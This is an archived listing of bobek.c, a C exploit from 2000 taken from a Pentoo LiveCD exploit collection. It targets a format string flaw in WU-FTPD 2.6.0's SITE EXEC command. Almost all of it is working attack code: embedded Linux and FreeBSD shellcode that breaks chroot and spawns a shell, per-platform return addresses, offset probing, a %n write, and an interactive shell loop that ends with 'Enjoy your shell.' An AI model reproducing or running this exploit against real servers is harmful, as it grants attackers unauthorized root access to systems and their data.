home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ftp / wuftpd / bobek.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  11KB  |  543 lines

  1. /*
  2.  * (c) 2000 venglin / b0f
  3.  * http://b0f.freebsd.lublin.pl
  4.  *
  5.  * WUFTPD 2.6.0 REMOTE ROOT EXPLOIT (22/06/2000, updated: 05/08/2000)
  6.  *
  7.  * Idea and preliminary version of exploit by tf8
  8.  *
  9.  * Greetz: Lam3rZ, TESO, ADM, lcamtuf, karpio.
  10.  * Dedicated to ksm.
  11.  *
  12.  * **PRIVATE**DO*NOT*DISTRIBUTE**
  13.  */
  14.  
  15. #include <stdio.h>
  16. #include <stdlib.h>
  17. #include <stdarg.h>
  18. #include <string.h>
  19. #include <sys/types.h>
  20. #include <sys/socket.h>
  21. #include <netinet/in.h>
  22. #include <netdb.h>
  23. #include <unistd.h>
  24. #include <arpa/inet.h>
  25.  
  26.  
  27. #define repln    if (getreply(0) < 0) return -1
  28. #define replv    if (getreply(1) < 0) return -1
  29.  
  30. #ifdef DEBUG
  31. #define repl replv
  32. #else
  33. #define repl repln
  34. #endif
  35.  
  36. char usage[] = "usage: bobek [-l login] [-o port] [-f retofs] [-s retlocofs]\n\t<-t type> <hostname>";
  37. char recvbuf[BUFSIZ], sendbuf[BUFSIZ];
  38. FILE *cin, *cout;
  39.  
  40. char linuxcode[]= /* Lam3rZ chroot() code */
  41.     "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb"
  42.     "\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b\x5e\x31\xc0\x31"
  43.     "\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\x01\xb0\x27\xcd"
  44.     "\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31\xdb"
  45.     "\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d\x5e"
  46.     "\x08\xb0\x0c\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46\x09"
  47.     "\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe\xc8\x88"
  48.     "\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\x89"
  49.     "\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0\x31"
  50.     "\xdb\xb0\x01\xcd\x80\xe8\x90\xff\xff\xff\x30\x62\x69\x6e"
  51.     "\x30\x73\x68\x31\x2e\x2e\x31\x31\x76\x65\x6e\x67\x6c\x69"
  52.     "\x6e\x40\x6b\x6f\x63\x68\x61\x6d\x2e\x6b\x61\x73\x69\x65"
  53.     "\x2e\x63\x6f\x6d";
  54.  
  55. char bsdcode[] = /* Lam3rZ chroot() code rewritten for FreeBSD by venglin */
  56.     "\x31\xc0\x50\x50\x50\xb0\x7e\xcd\x80\x31\xdb\x31\xc0\x43"
  57.     "\x43\x53\x4b\x53\x53\xb0\x5a\xcd\x80\xeb\x77\x5e\x31\xc0"
  58.     "\x8d\x5e\x01\x88\x46\x04\x66\x68\xff\x01\x53\x53\xb0\x88"
  59.     "\xcd\x80\x31\xc0\x8d\x5e\x01\x53\x53\xb0\x3d\xcd\x80\x31"
  60.     "\xc0\x31\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31"
  61.     "\xc0\x8d\x5e\x08\x53\x53\xb0\x0c\xcd\x80\xfe\xc9\x75\xf1"
  62.     "\x31\xc0\x88\x46\x09\x8d\x5e\x08\x53\x53\xb0\x3d\xcd\x80"
  63.     "\xfe\x0e\xb0\x30\xfe\xc8\x88\x46\x04\x31\xc0\x88\x46\x07"
  64.     "\x89\x76\x08\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
  65.     "\x52\x51\x53\x53\xb0\x3b\xcd\x80\x31\xc0\x31\xdb\x53\x53"
  66.     "\xb0\x01\xcd\x80\xe8\x84\xff\xff\xff\x30\x62\x69\x6e\x30"
  67.     "\x73\x68\x31\x2e\x2e\x31\x31\x76\x65\x6e\x67\x6c\x69\x6e"
  68.     "\x40\x6b\x6f\x63\x68\x61\x6d\x2e\x6b\x61\x73\x69\x65\x2e"
  69.     "\x63\x6f\x6d";
  70.  
  71. struct platforms
  72. {
  73.     char *os;
  74.     char *version;
  75.     char *code;
  76.     int align;
  77.     int eipoff;
  78.     long ret;
  79.     long retloc;
  80.     int sleep;
  81. };
  82.  
  83. struct platforms targ[] =
  84. {
  85.     { "FreeBSD 3.4-STABLE", "2.6.0-ports", bsdcode, 2, 1024, 0x80b1f10, 0xbfbfcc04, 0 },
  86.     { "FreeBSD 5.0-CURRENT", "2.6.0-ports", bsdcode, 2, 1024, 0x80b1510, 0xbfbfec0c, 0 },
  87.     { "FreeBSD 3.4-STABLE", "2.6.0-packages", bsdcode, 2, 1024, 0x80b1510, 0xbfbfe798, 0 },
  88.     { "FreeBSD 3.4-STABLE", "2.6.0-venglin", bsdcode, 2, 1024, 0x807078c, 0xbfbfcc04, 0 },
  89.     { "RedHat Linux 6.2", "2.6.0-RPM", linuxcode, 2, 1024, 0x80759e0, 0xbfffcf74, 0 },
  90.     { "RedHat Linux 6.2", "2.6.0-RPM", linuxcode, 2, 1024, 0x80759e0, 0xbfffd074, 0 },
  91.     { "RedHat Linux 6.2", "2.6.0-RPM", linuxcode, 2, 1024, 0x80759e0, 0xbfffcf84, 0 },
  92.     { "RedHat Linux 6.2", "2.6.0-RPM", linuxcode, 2, 1024, 0x80759e0, 0xbfffd04c, 0 },
  93.     { "RedHat Linux 6.2-SMP", "2.6.0-RPM", linuxcode, 2, 1024, 0x80759e0, 0xbfffd0e4, 0 },
  94.     { NULL, NULL, NULL, 0, 0, 0, 0 }
  95. };
  96.  
  97. long getip(name)
  98. char *name;
  99. {
  100.     struct hostent *hp;
  101.     long ip;
  102.     extern int h_errno;
  103.  
  104.     if ((ip = inet_addr(name)) < 0)
  105.     {
  106.         if (!(hp = gethostbyname(name)))
  107.         {
  108.             fprintf(stderr, "gethostbyname(): %s\n",
  109.                 strerror(h_errno));
  110.             exit(1);
  111.         }
  112.         memcpy(&ip, (hp->h_addr), 4);
  113.     }
  114.  
  115.     return ip;
  116. }
  117.  
  118. int connecttoftp(host, port)
  119. char *host;
  120. int port;
  121. {
  122.     int sockfd;
  123.     struct sockaddr_in cli;
  124.  
  125.     bzero(&cli, sizeof(cli));
  126.     cli.sin_family = AF_INET;
  127.     cli.sin_addr.s_addr=getip(host);
  128.     cli.sin_port = htons(port);
  129.  
  130.     if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
  131.     {
  132.         perror("socket");
  133.         return -1;
  134.     }
  135.  
  136.     if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0) 
  137.     {
  138.                 perror("connect");
  139.         close(sockfd);
  140.         return -1;
  141.     }
  142.  
  143.     cin = fdopen(sockfd, "r");
  144.     cout = fdopen(sockfd, "w");
  145.  
  146.     if (!cin || !cout)
  147.     {
  148.         close(sockfd);
  149.         return -1;
  150.     }
  151.  
  152.     return sockfd;
  153. }
  154.  
  155. int command(const char *fmt, ...)
  156. {
  157.     char buf1[BUFSIZ], buf2[BUFSIZ*2], *p, *q;
  158.  
  159.     va_list args;
  160.  
  161.     if (!cout)
  162.         return -1;
  163.  
  164.     bzero(buf1, BUFSIZ);
  165.     bzero(buf2, BUFSIZ*2);
  166.  
  167.     va_start(args, fmt);
  168.     vsnprintf(buf1, BUFSIZ, fmt, args);
  169.     va_end(args);
  170.  
  171.     for (p=buf1,q=buf2;*p;p++,q++)
  172.     {
  173.         if (*p == '\xff')
  174.         {
  175.             *q++ = '\xff';
  176.             *q = '\xff';
  177.         }
  178.         else
  179.             *q = *p;
  180.     }
  181.  
  182.     fprintf(cout, "%s", buf2);
  183.  
  184. #ifdef DEBUG
  185.     fprintf(stderr, "--> ");
  186.     fprintf(stderr, "%s", buf2);
  187.     fputc('\n', stderr);
  188. #endif
  189.  
  190.     fputs("\r\n", cout);
  191.     (void)fflush(cout);
  192.     return 0;
  193. }
  194.  
  195. int getreply(v)
  196. int v;
  197. {
  198.     if (!(fgets(recvbuf, BUFSIZ, cin)))
  199.         return -1;
  200.  
  201.     if (v)
  202.         fprintf(stderr, "<-- %s", recvbuf);
  203.  
  204.     return 0;
  205. }
  206.  
  207. int logintoftp(login, passwd)
  208. char *login, *passwd;
  209. {
  210.     do
  211.         repl;
  212.     while (strncmp(recvbuf, "220 ", 4));
  213.  
  214.     if ((command("USER %s", login)) < 0)
  215.         return -1;
  216.  
  217.     repl;
  218.  
  219.     if (strncmp(recvbuf, "331", 3))
  220.     {
  221.         puts(recvbuf);
  222.         return -1;
  223.     }
  224.  
  225.     if ((command("PASS %s", passwd) < 0))
  226.         return -1;
  227.  
  228.     do
  229.         repl;
  230.     while (strncmp(recvbuf, "230 ", 4));
  231.  
  232.     return 0;
  233. }
  234.  
  235. int checkvuln(void)
  236. {
  237.     command("SITE EXEC %%p");
  238.     repl;
  239.  
  240.     if(strncmp(recvbuf, "200-", 4))
  241.         return -1;
  242.  
  243.     if(strncmp(recvbuf+4, "0x", 2))
  244.         return -1;
  245.  
  246.     repl;
  247.  
  248.     return 0;
  249. }
  250.  
  251. int findeip(eipoff, align)
  252. int eipoff, align;
  253. {
  254.     int i, j, off;
  255.     char *p1;
  256.     char eip1[10], eip2[10];
  257.  
  258.     for (i=eipoff;;i+=8)
  259.     {
  260.         fprintf(stderr, "at offset %d\n", i);
  261.         strcpy(sendbuf, "SITE EXEC ");
  262.  
  263.         for (j=0;j<align;j++) strcat(sendbuf, "a");
  264.         strcat(sendbuf, "abcd");
  265.  
  266.         for (j=0;j<eipoff/8;j++) strcat(sendbuf, "%%.f");
  267.         for (j=0;j<(i-eipoff)/8;j++) strcat(sendbuf, "%%d%%d");
  268.         strcat(sendbuf, "|%%.8x|%%.8x");
  269.  
  270.         if (command(sendbuf) < 0)
  271.             return -1;
  272.  
  273.         repl;
  274.  
  275.         if (!(p1 = strchr(recvbuf, '|')))
  276.             return -1;
  277.  
  278.         strncpy(eip1, p1+1, 8);
  279.         strncpy(eip2, p1+10, 8);
  280.  
  281.         eip1[8] = eip2[8] = '\0';
  282.  
  283.         if (!(strcmp(eip1, "64636261")))
  284.         {
  285.             off = i;
  286.             break;
  287.         }
  288.  
  289.         if (!(strcmp(eip2, "64636261")))
  290.         {
  291.             off = i + 4;
  292.             break;
  293.         }
  294.  
  295.         repl;
  296.     }
  297.  
  298.     repl;
  299.  
  300.     return off;
  301. }
  302.  
  303. char *putshell(type)
  304. int type;
  305. {
  306.     static char buf[400];
  307.     int noplen;
  308.  
  309.     char *code = targ[type].code;
  310.  
  311.     noplen = sizeof(buf) - strlen(code) - 2;
  312.  
  313.     memset(buf, 0x90, noplen);
  314.     buf[noplen+1] = '\0';
  315.     strcat(buf, code);
  316.  
  317.     return buf;
  318. }
  319.  
  320. int overwrite(ptr, off, align, retloc, eipoff)
  321. long ptr, retloc;
  322. int off, align, eipoff;
  323. {
  324.     int i, size = 0;
  325.     char buf[100];
  326.  
  327.     fprintf(stderr, "RET: %p, RET location: %p,"
  328.         " RET location offset on stack: %d\n",
  329.         (void *)ptr, (void *)retloc, off);
  330.  
  331.     if (off >= 12)
  332.     {
  333.  
  334.         strcpy(sendbuf, "SITE EXEC ");
  335.  
  336.         for (i=0;i<eipoff/8;i++) strcat(sendbuf, "%%.f");
  337.         for (i=0;i<(off-eipoff-8)/8;i++) strcat(sendbuf, "%%d%%d");
  338.  
  339.         if (((off-eipoff-8) % 8) != 0) strcat(sendbuf, "%%d%%d");
  340.  
  341.         if (command(sendbuf) < 0)
  342.             return -1;    
  343.  
  344.         repl;
  345.  
  346.         size = strlen(recvbuf+4) - 2;
  347.  
  348.         repl;
  349.     }
  350.  
  351.     fprintf(stderr, "Reply size: %d, New RET: %p\n", size,
  352.         (void *)(ptr-size));
  353.  
  354.     strcpy(sendbuf, "SITE EXEC ");
  355.     for (i=0;i<align;i++) strcat(sendbuf, "a");
  356.  
  357.     sprintf(buf, "%c%c%c%c", ((int)retloc & 0xff),
  358.         (((int)retloc & 0xff00) >> 8),
  359.         (((int)retloc & 0xff0000) >> 16),
  360.         (((int)retloc & 0xff000000) >> 24));
  361.  
  362.     strcat(sendbuf, buf);
  363.  
  364.     for (i=0;i<eipoff/8;i++) strcat(sendbuf, "%%.f");
  365.     for (i=0;i<(off-eipoff-8)/8;i++) strcat(sendbuf, "%%d%%d");
  366.  
  367.     if (((off-eipoff-8) % 8) != 0) strcat(sendbuf, "%%d%%d");
  368.  
  369.     strcat(sendbuf, "%%.");
  370.     sprintf(buf, "%d", (int)ptr-size);
  371.     strcat(sendbuf, buf);
  372.     strcat(sendbuf, "d%%n");
  373.  
  374.     if (command(sendbuf) < 0)
  375.         return -1;
  376.  
  377.     return 0;
  378. }
  379.  
  380. int sh(sockfd)
  381. int sockfd;
  382. {
  383.     char buf[BUFSIZ];
  384.     int c;
  385.     fd_set rf, drugi;
  386.     char cmd[] = "uname -a ; pwd ; id\n";
  387.         
  388.     FD_ZERO(&rf);
  389.     FD_SET(0, &rf);
  390.     FD_SET(sockfd, &rf);
  391.     write(sockfd, cmd, strlen(cmd));
  392.  
  393.     while (1)
  394.     {
  395.         bzero(buf, BUFSIZ);
  396.         memcpy (&drugi, &rf, sizeof(rf));
  397.         select(sockfd+1, &drugi, NULL, NULL, NULL);
  398.         if (FD_ISSET(0, &drugi))
  399.         {
  400.             c = read(0, buf, BUFSIZ);
  401.             send(sockfd, buf, c, 0x4);
  402.         }
  403.  
  404.         if (FD_ISSET(sockfd, &drugi))
  405.         {
  406.             c = read(sockfd, buf, BUFSIZ);
  407.             if (c<0) return 0;
  408.             write(1,buf,c);
  409.         }
  410.     }
  411. }
  412.  
  413. int main(argc, argv)
  414. int argc;
  415. char **argv;
  416. {
  417.     extern int optind, opterr;
  418.     extern char *optarg;
  419.     int ch, type, port, eipoff, fd, retofs, retlocofs, align, i, retoff;
  420.     long ret, retloc;
  421.     char login[BUFSIZ], password[BUFSIZ];
  422.  
  423.     opterr = retofs = retlocofs = 0;
  424.     strcpy(login, "ftp");
  425.     type = -1;
  426.     port = 21;
  427.  
  428.     while ((ch = getopt(argc, argv, "l:f:s:t:o")) != -1)
  429.         switch((char)ch)    
  430.         {
  431.             case 'l':
  432.                 strcpy(login, optarg);
  433.                 break;
  434.  
  435.             case 't':
  436.                 type = atoi(optarg);
  437.                 break;
  438.  
  439.             case 'o':
  440.                 port = atoi(optarg);
  441.                 break;
  442.  
  443.             case 'f':
  444.                 retofs = atoi(optarg);
  445.                 break;
  446.  
  447.             case 's':
  448.                 retlocofs = atoi(optarg);
  449.                 break;
  450.  
  451.             case '?':
  452.             default:
  453.                 puts(usage);
  454.                 exit(0);
  455.         }
  456.  
  457.     argc -= optind;
  458.     argv += optind;
  459.  
  460.     fprintf(stderr, "PanBobek v1.1 by venglin@freebsd.lublin.pl\n\n");
  461.  
  462.     if (type < 0)
  463.     {
  464.         fprintf(stderr, "Please select platform:\n");
  465.         for (i=0;targ[i].os;i++)
  466.         {
  467.             fprintf(stderr, "\t-t %d : %s %s (%p / %p)\n", i,
  468.                 targ[i].os, targ[i].version,
  469.                 (void *)targ[i].ret,
  470.                 (void *)targ[i].retloc);
  471.         }
  472.         exit(0);
  473.     }
  474.  
  475.     fprintf(stderr, "Selected platform: %s with WUFTPD %s\n\n",
  476.         targ[type].os, targ[type].version);
  477.  
  478.     eipoff = targ[type].eipoff;
  479.     align = targ[type].align;
  480.     ret = targ[type].ret;
  481.     retloc = targ[type].retloc;
  482.     retloc += retlocofs;
  483.     ret += retofs;
  484.  
  485.     if (argc != 1)
  486.     {
  487.         puts(usage);
  488.         exit(0);
  489.     }
  490.  
  491.     strcpy(password, putshell(type));
  492.  
  493.     if ((fd = connecttoftp(*argv, port)) < 0)
  494.     {    
  495.         (void)fprintf(stderr, "Connection to %s failed.\n", *argv);
  496.         exit(1);
  497.     }
  498.  
  499.     (void)fprintf(stderr, "Connected to %s. Trying to log in.\n", *argv);
  500.  
  501.     if (logintoftp(login, password) < 0)
  502.     {
  503.         (void)fprintf(stderr, "Logging in to %s (%s) failed.\n",
  504.             *argv, login);
  505.         exit(1);
  506.         }
  507.  
  508.     (void)fprintf(stderr, "Logged in as %s. Checking vulnerability.\n",
  509.         login);
  510.  
  511.     sleep(targ[type].sleep);
  512.  
  513.     if (checkvuln() < 0)
  514.     {
  515.         (void)fprintf(stderr, "Sorry, this version isn't"
  516.             " vulnerable or uses internal vsnprintf().\n");
  517.         exit(1);
  518.     }
  519.  
  520.     (void)fprintf(stderr, "Ok, trying to find offset (initial: %d)\n",
  521.         eipoff);
  522.  
  523.     if ((retoff = findeip(eipoff, align)) < 0)
  524.     {
  525.         (void)fprintf(stderr, "\nError finding offset. Adjust"
  526.             " align.\n");
  527.         exit(1);
  528.     }
  529.  
  530.     if (overwrite(ret, retoff, align, retloc, eipoff) < 0)
  531.     {
  532.         (void)fprintf(stderr, "Error overwriting RET addr.\n");
  533.         exit(1);
  534.     }
  535.  
  536.     fprintf(stderr, "Wait up to few minutes for reply. It depends on "
  537.             "victim's CPU speed.\nEnjoy your shell.\n");
  538.  
  539.     sh(fd);
  540.  
  541.     exit(0);
  542. }
  543. /*                    www.hack.co.za   [21 November 2000]*/